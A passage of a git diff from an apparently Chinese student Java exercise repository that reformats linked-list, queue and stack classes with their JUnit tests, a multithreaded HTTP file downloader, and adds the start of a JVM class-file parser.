-					else
-					{
-						q.next = p.next;
-					}
-					size--;
-				}
-			}
-			
-			i++;
-		}
+	    while (p.data == q.data) {
+		size--;
+		if (p.next == null) {
+		    q.next = null;
+		    break;
+		}
+		q.next = p.next;
+		p = p.next;
+		if (p == null)
+		    break;
+	    }
+	    q = q.next;
 	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues()
-	{
-		if(head == null)
-		{
-			return ;
-		}
-		Node p = head;
-		Node q = head; //前驱
-		while(p.next != null)
-		{
-			p = p.next;
-			
-			while(p.data == q.data)
-			{
-				size--;
-				if(p.next == null)
-				{
-					q.next = null;
-					break;
-				}
-				q.next = p.next;
-				p = p.next;
-				if(p == null)
-					break;
-			}
-			q = q.next;
-		}
+    }
+
+    /**
+     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+     * 
+     * @param min
+     * @param max
+     */
+    public void removeRange(int min, int max) {
+
+	Node p = head; // 当前节点
+	Node q = head; // 前驱节点
+	while (p.next != null && ((int) p.data <= min || (int) p.data >= max)) { // 未找到继续遍历
+	    q = p;
+	    p = p.next;
 	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max)
-	{
-	
-		Node p = head; //当前节点
-		Node q = head; //前驱节点
-		while(p.next != null && ((int)p.data <= min || (int)p.data >= max)) //未找到继续遍历
-		{
-			q = p;
-			p = p.next;
-		}
-		while((int)p.data > min && (int)p.data < max)   //删除找到的节点
-		{	
-			p = p.next;
-			size--;
-			
-			if(size == 0) //删完所有元素
-				break ;
-		}
-		if(q == head) 	//头结点被删掉
-		{
-		    	head = p;
-		}	
-		else			
-		{
-			q.next = p;
-		}
-	
+	while ((int) p.data > min && (int) p.data < max) { // 删除找到的节点
+	    p = p.next;
+	    size--;
+
+	    if (size == 0) // 删完所有元素
+		break;
 	}
+	if (q == head) { // 头结点被删掉
 	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  MyLinkedList intersection(MyLinkedList list)
-	{
-		if(list == null || this == null)
-		{
-			return null;
-		}
-		Node p1 = list.head;
-		Node p2 = this.head;
-		MyLinkedList newList = new MyLinkedList();
-		
-		while(p1 != null && p2 != null)
-		{
-			while(((int) p1.data < (int) p2.data) && p1.next != null)
-			{
-				p1 = p1.next;
-			}
-			while(((int) p1.data > (int) p2.data) && p2.next != null)
-			{
-				p2 = p2.next;
-			}
-			if(p1.data == p2.data)
-			{
-				newList.add(p1.data);
-				p1 = p1.next;
-				p2 = p2.next;
-			}
-			
-			if(p1 == null && p2 == null)  //若最后两个元素相等
-			{
-				break;
-			}
-		}
-		return newList;
+	    head = p;
+	} else {
+	    q.next = p;
 	}
-	
-	
-	public static void main(String[] args)
-	{
-		MyLinkedList myList = new MyLinkedList();
-		myList.add(1);
-		myList.add(1);
-		myList.add(3);
-		myList.add(4);
-		myList.add(5);
-		myList.add(5);
-		myList.add(7);
-		myList.add(8);
-		myList.add(8);
-		myList.add(9);
-		Print(myList);
-		/*
-		MyLinkedList list = new MyLinkedList();
-		list.add(0);
-		list.add(3);
-		list.add(5);
-		list.add(6);
-		list.add(9);
-		list.add(19);
-		//Print(list);
-		//myList.removeDuplicateValues();
-		//myList.subtract(list);
-		*/
-		
-		myList.removeRange(-11, 10);
-		Print(myList);
-		/*
-		MyLinkedList list1 = myList.intersection(list);
-		System.out.println("打印交集：");
-		Print(list1);
-		/*	reverse()
-		myList.reverse();
-		Print(myList);
-		*/
-		
-		//System.out.println("从第二个元素开始，移除三个元素");
-		//myList.remove(1, 1);
-		//Print(myList);
-		
-		//  getElements()
-		MyLinkedList list = new MyLinkedList();
-	
-		int[] array = myList.getElements(list);
-		System.out.println("输出："+array[0]);
-		for(int i=0; i<array.length; i++)
-		{
-			System.out.println("输出："+array[i]);
-		}
-		
-		//myList.removeFirstHalf();
-		//System.out.println("移除前一半元素");
-		//Print(myList);
-		
-		
-		
-		/*
-		System.out.println("当前指定位置元素： " + myList.get(1));
-		//System.out.println("移除指定位置元素： " + myList.remove(4));
-		Print(myList);	
-		System.out.println("移除第一个节点元素： " + myList.removeLast());
-		Print(myList);
-		System.out.println("移除最后一个节点元素： " + myList.removeLast());
-		Print(myList);
-		System.out.println("移除最后一个节点元素： " + myList.removeLast());
-		Print(myList);
-		*/
 
+    }
+
+    /**
+     * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+     * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+     * 
+     * @param list
+     */
+    public MyLinkedList intersection(MyLinkedList list) {
+	if (list == null || this == null) {
+	    return null;
 	}
-	
-	public static void Print(MyLinkedList myList)
-	{
-		Iterator it = myList.iterator();	
-		System.out.println("对链表中的元素进行打印：");
-		while(it.hasNext())
-			System.out.print(it.next() + " ");
-		System.out.println("");
-		System.out.println("当前元素个数： " + myList.size()); 
-		System.out.println("");
+	Node p1 = list.head;
+	Node p2 = this.head;
+	MyLinkedList newList = new MyLinkedList();
+
+	while (p1 != null && p2 != null) {
+	    while (((int) p1.data < (int) p2.data) && p1.next != null) {
+		p1 = p1.next;
+	    }
+	    while (((int) p1.data > (int) p2.data) && p2.next != null) {
+		p2 = p2.next;
+	    }
+	    if (p1.data == p2.data) {
+		newList.add(p1.data);
+		p1 = p1.next;
+		p2 = p2.next;
+	    }
+
+	    if (p1 == null && p2 == null)  { // 若最后两个元素相等
+		break;
+	    }
 	}
+	return newList;
+    }
+
+    public static void Print(MyLinkedList myList) {
+	Iterator it = myList.iterator();
+	System.out.println("对链表中的元素进行打印：");
+	while (it.hasNext())
+	    System.out.print(it.next() + " ");
+	System.out.println("");
+	System.out.println("当前元素个数： " + myList.size());
+	System.out.println("");
+    }
 
-	
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyQueue.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyQueue.java
index 9b713eaea9..3d6cd9df0a 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyQueue.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyQueue.java
@@ -3,52 +3,38 @@
  * 实现简单的队列
  */
 package com.github.HarryHook.coding2017.basic;
+
 import java.util.*;
-public class MyQueue 
-{	
-	private MyArrayList elementData = new MyArrayList();
-	private int size = 0;
-	//入队
-	public void enQueue(Object o)
-	{		
-		elementData.add(o);
-		size++;
-	}
-	//出队
-	public Object deQueue()
-	{
-		if(isEmpty())
-			throw new NoSuchElementException();
-		Object Data = elementData.remove(0);
-		size--;
-		return Data;
-	}
-	//判断队列是否为空
-	public boolean isEmpty()
-	{
-		return size() == 0;
-	}
-	//队列中元素个数
-	public int size()
-	{
-		return size;
-	}
-	public static void main(String[] args)
-	{
-		MyQueue mq = new MyQueue();
-		mq.enQueue(1);
-		mq.enQueue(2);
-		mq.enQueue(3);
-		mq.enQueue(4);
-		System.out.println("队列出栈，出栈元素为： " + mq.deQueue());
-		System.out.println("队列中元素个数： " + mq.size());
-		System.out.println("队列出栈，出栈元素为： " + mq.deQueue());
-		System.out.println("队列中元素个数： " + mq.size());
-		System.out.println("队列出栈，出栈元素为： " + mq.deQueue());
-		System.out.println("队列中元素个数： " + mq.size());
-		System.out.println("队列出栈，出栈元素为： " + mq.deQueue());
-		System.out.println("队列中元素个数： " + mq.size());
-		//System.out.println("队列出栈，出栈元素为： " + mq.deQueue());
-		//System.out.println("队列中元素个数： " + mq.size());
+
+public class MyQueue {
+    private MyArrayList elementData = new MyArrayList();
+    private int size = 0;
+
+    // 入队
+    public void enQueue(Object o) {
+	elementData.add(o);
+	size++;
+    }
+
+    // 出队
+    public Object deQueue() {
+	if (isEmpty()) {
+	    throw new NoSuchElementException();
 	}
+	Object Data = elementData.remove(0);
+	size--;
+	return Data;
+    }
+
+    // 判断队列是否为空
+    public boolean isEmpty() {
+	return size() == 0;
+    }
+
+    // 队列中元素个数
+    public int size() {
+	return size;
+    }
+
+   
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyStack.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyStack.java
index c7f87c04e6..2702c66a07 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyStack.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyStack.java
@@ -6,54 +6,39 @@
 
 import java.util.*;
 
-public class MyStack 
-{
-	private MyArrayList elementData = new MyArrayList();
-	private int size = 0;
-	
-	//入栈操作
-	public void push(Object o)
-	{		
-		elementData.add(o);
-		size++;
-	}
-	//出栈操作
-	public Object pop()
-	{
-		Object obj = peek();
-		elementData.remove(size() - 1);
-		size--;
-		return obj;
-	}
-	//获取当前栈顶元素，不用出栈
-	public Object peek()
-	{
-		if(isEmpty())
-			throw new EmptyStackException();
-		return elementData.get(size() - 1);
-	}
-	//判断栈是否为空
-	public boolean isEmpty()
-	{
-		return size() == 0;
-	}
-	//返回栈内元素个数
-	public int size(){
-		return size;
-	}
-	
-	public static void main(String[] args)
-	{
-		MyStack ms = new MyStack();
-		
-		ms.push(1);
-		ms.push(2);
-		ms.push(13);
-		System.out.println("当前栈顶元素是: " + ms.peek());
-		System.out.println("出栈元素是: " + ms.pop());
-		System.out.println("出栈元素是: " + ms.pop());
-		ms.push(12);
-		System.out.println("出栈元素是: " + ms.pop());
-		System.out.println("当前栈顶元素是: " + ms.peek());
+public class MyStack {
+    private MyArrayList elementData = new MyArrayList();
+    private int size = 0;
+
+    // 入栈操作
+    public void push(Object o) {
+	elementData.add(o);
+	size++;
+    }
+
+    // 出栈操作
+    public Object pop() {
+	Object obj = peek();
+	elementData.remove(size() - 1);
+	size--;
+	return obj;
+    }
+
+    // 获取当前栈顶元素，不用出栈
+    public Object peek() {
+	if (isEmpty()) {
+	    throw new EmptyStackException();
 	}
+	return elementData.get(size() - 1);
+    }
+
+    // 判断栈是否为空
+    public boolean isEmpty() {
+	return size() == 0;
+    }
+
+    // 返回栈内元素个数
+    public int size() {
+	return size;
+    }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/QueueTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/QueueTest.java
index 340f79d240..0b89de7c0a 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/QueueTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/QueueTest.java
@@ -6,28 +6,28 @@
 import com.github.HarryHook.coding2017.basic.MyQueue;
 
 public class QueueTest {
-	private MyQueue queue;
-	
-	@Before
-	public void setUpQueue() {
-		queue = new MyQueue();
-	}
-	
-	@Test
-	public void testQueueFunctional() {
-		assertEquals(true, queue.isEmpty());
-		queue.enQueue(4);
-		queue.enQueue(2);
-		assertEquals(2, queue.size());
-		assertEquals(false, queue.isEmpty());
-		
-		int i = (Integer)queue.deQueue();
-		assertEquals(4, i);
-		i = (Integer)queue.deQueue();
-		assertEquals(2, i);
-		
-		assertEquals(0, queue.size());
-		assertEquals(true, queue.isEmpty());
-	}
+    private MyQueue queue;
+
+    @Before
+    public void setUpQueue() {
+	queue = new MyQueue();
+    }
+
+    @Test
+    public void testQueueFunctional() {
+	assertEquals(true, queue.isEmpty());
+	queue.enQueue(4);
+	queue.enQueue(2);
+	assertEquals(2, queue.size());
+	assertEquals(false, queue.isEmpty());
+
+	int i = (Integer) queue.deQueue();
+	assertEquals(4, i);
+	i = (Integer) queue.deQueue();
+	assertEquals(2, i);
+
+	assertEquals(0, queue.size());
+	assertEquals(true, queue.isEmpty());
+    }
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/StackTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/StackTest.java
index 26160faef6..89f56d8006 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/StackTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/StackTest.java
@@ -9,32 +9,32 @@
 
 public class StackTest {
 
-	private MyStack stack;
-	
-	@Before
-	public void setUpStack() {
-		stack = new MyStack();
-	}
-
-	@Test
-	public void testStackFunctional() {
-		assertEquals(true, stack.isEmpty());
-		stack.push(4);
-		stack.push(2);
-		assertEquals(2, stack.size());
-		assertEquals(false, stack.isEmpty());
-		
-		int i = (Integer)stack.pop();
-		assertEquals(2, i);
-		
-		i = (Integer)stack.peek();
-		assertEquals(4, i);
-		
-		i = (Integer)stack.pop();
-		assertEquals(4, i);
-		
-		assertEquals(0, stack.size());
-		assertEquals(true, stack.isEmpty());
-	}
+    private MyStack stack;
+
+    @Before
+    public void setUpStack() {
+	stack = new MyStack();
+    }
+
+    @Test
+    public void testStackFunctional() {
+	assertEquals(true, stack.isEmpty());
+	stack.push(4);
+	stack.push(2);
+	assertEquals(2, stack.size());
+	assertEquals(false, stack.isEmpty());
+
+	int i = (Integer) stack.pop();
+	assertEquals(2, i);
+
+	i = (Integer) stack.peek();
+	assertEquals(4, i);
+
+	i = (Integer) stack.pop();
+	assertEquals(4, i);
+
+	assertEquals(0, stack.size());
+	assertEquals(true, stack.isEmpty());
+    }
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/download/DownloadThread.java b/group02/727171008/src/com/github/HarryHook/coding2017/download/DownloadThread.java
index c7b05e46c0..122c71eae6 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/download/DownloadThread.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/download/DownloadThread.java
@@ -6,46 +6,46 @@
 
 public class DownloadThread extends Thread {
 
-	Connection conn;
-	int startPos;
-	int endPos;
-	boolean downloadFinsh = false;
-	public DownloadThread( Connection conn, int startPos, int endPos) {
-		
-	    this.conn = conn;		
-	    this.startPos = startPos;
-	    this.endPos = endPos;
-	} 
-	
-	public void run() {	
-	   
-	    RandomAccessFile outFile = null;
+    Connection conn;
+    int startPos;
+    int endPos;
+    boolean downloadFinsh = false;
+
+    public DownloadThread(Connection conn, int startPos, int endPos) {
+
+	this.conn = conn;
+	this.startPos = startPos;
+	this.endPos = endPos;
+    }
+
+    public void run() {
+
+	RandomAccessFile outFile = null;
+	try {
+
+	    byte[] buffer = conn.read(startPos, endPos);
+	    // 在本地创建一个与服务器大小一致的可随机写入文件
+	    outFile = new RandomAccessFile("bd_logo.png", "rwd");
+	    outFile.seek(startPos);
+	    outFile.write(buffer);
+	    FileDownloader fileloader = new FileDownloader("");
+	    fileloader.getListener();
+
+	} catch (Exception e) {
+
+	    e.printStackTrace();
+
+	} finally {
+
 	    try {
-		
-		byte[] buffer = conn.read(startPos, endPos);
-		// 在本地创建一个与服务器大小一致的可随机写入文件
-		outFile = new RandomAccessFile("bd_logo.png",  "rwd");
-		outFile.seek(startPos);
-		outFile.write(buffer);
-		FileDownloader fileloader = new FileDownloader("");
-		fileloader.getListener();
-		
-	    }catch(Exception e) {
-		
+		outFile.close();
+
+	    } catch (Exception e) {
+
 		e.printStackTrace();
-		
-	    }finally {
-		
-		try {
-		    outFile.close();
-			
-		} catch(Exception e) {
-			
-		    e.printStackTrace();
-		}
-	
-					
 	    }
+
 	}
-	
+    }
+
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloader.java b/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloader.java
index ac5b6606d4..1bb64c1050 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloader.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloader.java
@@ -5,87 +5,86 @@
 import com.github.HarryHook.coding2017.download.api.ConnectionManager;
 import com.github.HarryHook.coding2017.download.api.DownloadListener;
 
-
 public class FileDownloader {
-	
-	String url;
-	
-	DownloadListener listener;
-	
-	ConnectionManager cm;
-	
-
-	public FileDownloader(String _url) {
-		
-	    this.url = _url;
-		
-	}
-	
-	public void execute() {
-		
-	    // 在这里实现你的代码， 注意： 需要用多线程实现下载
-	    // 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-	    // (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-	    // (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-	    //     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-	    // 具体的实现思路：
-	    // 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-	    // 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-	    // 	     然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-	    // 3. 把byte数组写入到文件中
-	    // 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-	
-	    // 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		
-	    Connection conn = null;
-	    
-	    try {
-			
-		conn = cm.open(this.url);
-	        int fileLength = conn.getContentLength();
-	        int threadCount = 3;
-		int blockSize = fileLength / 1024 / threadCount;
-		
-		for (int threadId=1; threadId<=threadCount; threadId++) {
-		    
-		    int startPos = (threadId-1) * blockSize;
-		    int endPos = threadId * blockSize - 1;
-		    if (threadId == threadCount) {
-			endPos = fileLength;
-		    }
-		    
-		    new DownloadThread(conn, startPos, endPos).start();		
+
+    String url;
+
+    DownloadListener listener;
+
+    ConnectionManager cm;
+
+    public FileDownloader(String _url) {
+
+	this.url = _url;
+
+    }
+
+    public void execute() {
+
+	// 在这里实现你的代码， 注意： 需要用多线程实现下载
+	// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+	// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos,
+	// endPos来指定）
+	// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+	// 线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+	// 具体的实现思路：
+	// 1. 需要调用ConnectionManager的open方法打开连接，
+	// 然后通过Connection.getContentLength方法获得文件的长度
+	// 2. 至少启动3个线程下载， 注意每个线程需要先调用ConnectionManager的open方法
+	// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+	// 3. 把byte数组写入到文件中
+	// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+
+	// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+
+	Connection conn = null;
+
+	try {
+
+	    conn = cm.open(this.url);
+	    int fileLength = conn.getContentLength();
+	    int threadCount = 3;
+	    int blockSize = fileLength / 1024 / threadCount;
+
+	    for (int threadId = 1; threadId <= threadCount; threadId++) {
+
+		int startPos = (threadId - 1) * blockSize;
+		int endPos = threadId * blockSize - 1;
+		if (threadId == threadCount) {
+		    endPos = fileLength;
 		}
-			
-	    } catch(ConnectionException e) {			
-			
-		e.printStackTrace();
-		    
-	    }finally {
-			
-		if(conn != null) {
-				
+
+		new DownloadThread(conn, startPos, endPos).start();
+	    }
+
+	} catch (ConnectionException e) {
+
+	    e.printStackTrace();
+
+	} finally {
+
+	    if (conn != null) {
+
 		conn.close();
-	
-		}
+
 	    }
-		
-	}
-	
-	public void setListener(DownloadListener listener) {
-		
-	    this.listener = listener;
 	}
 
-	public void setConnectionManager(ConnectionManager ucm) {
-		
-	    this.cm = ucm;
-	}
-	
-	public DownloadListener getListener() {
-		
-	    return this.listener;
-	}
-	
-	
+    }
+
+    public void setListener(DownloadListener listener) {
+
+	this.listener = listener;
+    }
+
+    public void setConnectionManager(ConnectionManager ucm) {
+
+	this.cm = ucm;
+    }
+
+    public DownloadListener getListener() {
+
+	return this.listener;
+    }
+
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloaderTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloaderTest.java
index 91ddbfa6f8..adf7dad676 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloaderTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloaderTest.java
@@ -9,52 +9,52 @@
 import com.github.HarryHook.coding2017.download.impl.ConnectionManagerImpl;
 
 public class FileDownloaderTest {
-	
-    	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	
-	}
 
-	@After
-	public void tearDown() throws Exception {
-	    
-	}
+    boolean downloadFinished = false;
+
+    @Before
+    public void setUp() throws Exception {
+
+    }
+
+    @After
+    public void tearDown() throws Exception {
+
+    }
+
+    @Test
+    public void testDownload() {
+
+	String url = "https://www.baidu.com/img/bd_logo.png";
 
-	@Test
-	public void testDownload() {
-		
-	    String url = "https://www.baidu.com/img/bd_logo.png";
-		
-	    FileDownloader downloader = new FileDownloader(url);
-
-	    ConnectionManager cm = new ConnectionManagerImpl();
-	    downloader.setConnectionManager(cm);
-		
-	    downloader.setListener(new DownloadListener() {
-		@Override
-		public void notifyFinished() {
-			
-		    downloadFinished = true;
-		}
-	    });
-
-	    downloader.execute();
-		
-	    // 等待多线程下载程序执行完毕
-	    while (!downloadFinished) {
-			
-		   try {
-			System.out.println("还没有下载完成，休眠两秒");
-			//休眠2秒
-			Thread.sleep(2000);
-		} catch (InterruptedException e) {				
-			e.printStackTrace();
-		}
+	FileDownloader downloader = new FileDownloader(url);
+
+	ConnectionManager cm = new ConnectionManagerImpl();
+	downloader.setConnectionManager(cm);
+
+	downloader.setListener(new DownloadListener() {
+	    @Override
+	    public void notifyFinished() {
+
+		downloadFinished = true;
 	    }
-	    System.out.println("下载完成！");
-		
+	});
+
+	downloader.execute();
 
+	// 等待多线程下载程序执行完毕
+	while (!downloadFinished) {
+
+	    try {
+		System.out.println("还没有下载完成，休眠两秒");
+		// 休眠2秒
+		Thread.sleep(2000);
+	    } catch (InterruptedException e) {
+		e.printStackTrace();
+	    }
 	}
+	System.out.println("下载完成！");
+
+    }
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/download/api/Connection.java b/group02/727171008/src/com/github/HarryHook/coding2017/download/api/Connection.java
index 92b2fe1050..7f6a13f3e0 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/download/api/Connection.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/download/api/Connection.java
@@ -3,22 +3,26 @@
 import java.io.IOException;
 
 public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
+    /**
+     * 给定开始和结束位置， 读取数据， 返回值是字节数组
+     * 
+     * @param startPos
+     *            开始位置， 从0开始
+     * @param endPos
+     *            结束位置
+     * @return
+     */
+    public byte[] read(int startPos, int endPos) throws IOException;
+
+    /**
+     * 得到数据内容的长度
+     * 
+     * @return
+     */
+    public int getContentLength();
+
+    /**
+     * 关闭连接
+     */
+    public void close();
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/download/api/ConnectionManager.java b/group02/727171008/src/com/github/HarryHook/coding2017/download/api/ConnectionManager.java
index 57368f7b35..be85791a50 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/download/api/ConnectionManager.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/download/api/ConnectionManager.java
@@ -1,10 +1,11 @@
 package com.github.HarryHook.coding2017.download.api;
 
 public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
+    /**
+     * 给定一个url , 打开一个连接
+     * 
+     * @param url
+     * @return
+     */
+    public Connection open(String url) throws ConnectionException;
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionImpl.java b/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionImpl.java
index 2932ec1ddb..84a55784f7 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionImpl.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionImpl.java
@@ -9,57 +9,57 @@
 import com.github.HarryHook.coding2017.download.api.Connection;
 
 public class ConnectionImpl implements Connection {
-    
-    	private String url;
-	
-	public ConnectionImpl(String url) {
-	    
-	    this.url = url;
-	}
 
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-	
-	    URL url = new URL(this.url);
-	    HttpURLConnection conn = (HttpURLConnection)url.openConnection();
-	    //conn.setRequestMethod("GET");
-            // 设置500毫秒为超时值
-           // conn.setReadTimeout(5000);
-	    conn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
-	    BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
-	    ByteArrayOutputStream out = new ByteArrayOutputStream(1024);
-	    
-	    byte[] buffer = new byte[1024];
-	    int size = 0;         
-	    while ((size = in.read(buffer)) != -1) {         
-		out.write(buffer, 0, size);         
-	    }
-	    byte[] b = out.toByteArray();
-	    out.close();
-	    in.close();
-	    
-	    return b;
-	}
+    private String url;
+
+    public ConnectionImpl(String url) {
+
+	this.url = url;
+    }
 
-	@Override
-	public int getContentLength() {
-		
-	    try {
-		URL url1 = new URL(url);
-		HttpURLConnection conn = (HttpURLConnection) url1.openConnection();
-		return conn.getContentLength();
-		
-	    }catch(Exception e) {
-			
-		e.printStackTrace();
-	    }
-		
-	    return -1;
+    @Override
+    public byte[] read(int startPos, int endPos) throws IOException {
+
+	URL url = new URL(this.url);
+	HttpURLConnection conn = (HttpURLConnection) url.openConnection();
+	// conn.setRequestMethod("GET");
+	// 设置500毫秒为超时值
+	// conn.setReadTimeout(5000);
+	conn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
+	BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
+	ByteArrayOutputStream out = new ByteArrayOutputStream(1024);
+
+	byte[] buffer = new byte[1024];
+	int size = 0;
+	while ((size = in.read(buffer)) != -1) {
+	    out.write(buffer, 0, size);
 	}
+	byte[] b = out.toByteArray();
+	out.close();
+	in.close();
+
+	return b;
+    }
 
-	@Override
-	public void close() {
-		
+    @Override
+    public int getContentLength() {
+
+	try {
+	    URL url1 = new URL(url);
+	    HttpURLConnection conn = (HttpURLConnection) url1.openConnection();
+	    return conn.getContentLength();
+
+	} catch (Exception e) {
+
+	    e.printStackTrace();
 	}
 
+	return -1;
+    }
+
+    @Override
+    public void close() {
+
+    }
+
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionManagerImpl.java b/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionManagerImpl.java
index 2ce38b1f79..ee40d1e943 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionManagerImpl.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionManagerImpl.java
@@ -6,9 +6,9 @@
 
 public class ConnectionManagerImpl implements ConnectionManager {
 
-	@Override
-	public Connection open(String url) throws ConnectionException {
-		return new ConnectionImpl(url);
-	}
+    @Override
+    public Connection open(String url) throws ConnectionException {
+	return new ConnectionImpl(url);
+    }
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/AttributeInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..33b7dda5c6
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.github.HarryHook.coding2017.jvm.attr;
+
+public abstract class AttributeInfo {
+    public static final String CODE = "Code";
+    public static final String CONST_VALUE = "ConstantValue";
+    public static final String EXCEPTIONS = "Exceptions";
+    public static final String LINE_NUM_TABLE = "LineNumberTable";
+    public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+    public static final String STACK_MAP_TABLE = "StackMapTable";
+    int attrNameIndex;
+    int attrLen;
+
+    public AttributeInfo(int attrNameIndex, int attrLen) {
+
+	this.attrNameIndex = attrNameIndex;
+	this.attrLen = attrLen;
+    }
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/CodeAttr.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..9ecd803572
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/CodeAttr.java
@@ -0,0 +1,111 @@
+package com.github.HarryHook.coding2017.jvm.attr;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.cmd.ByteCodeCommand;
+import com.github.HarryHook.coding2017.jvm.cmd.CommandParser;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.loader.ByteCodeIterator;
+import com.sun.org.apache.bcel.internal.generic.NEW;
+
+public class CodeAttr extends AttributeInfo {
+    private int maxStack;
+    private int maxLocals;
+    private int codeLen;
+    private String code;
+
+    public String getCode() {
+	return code;
+    }
+
+    private ByteCodeCommand[] cmds;
+
+    public ByteCodeCommand[] getCmds() {
+	return cmds;
+    }
+
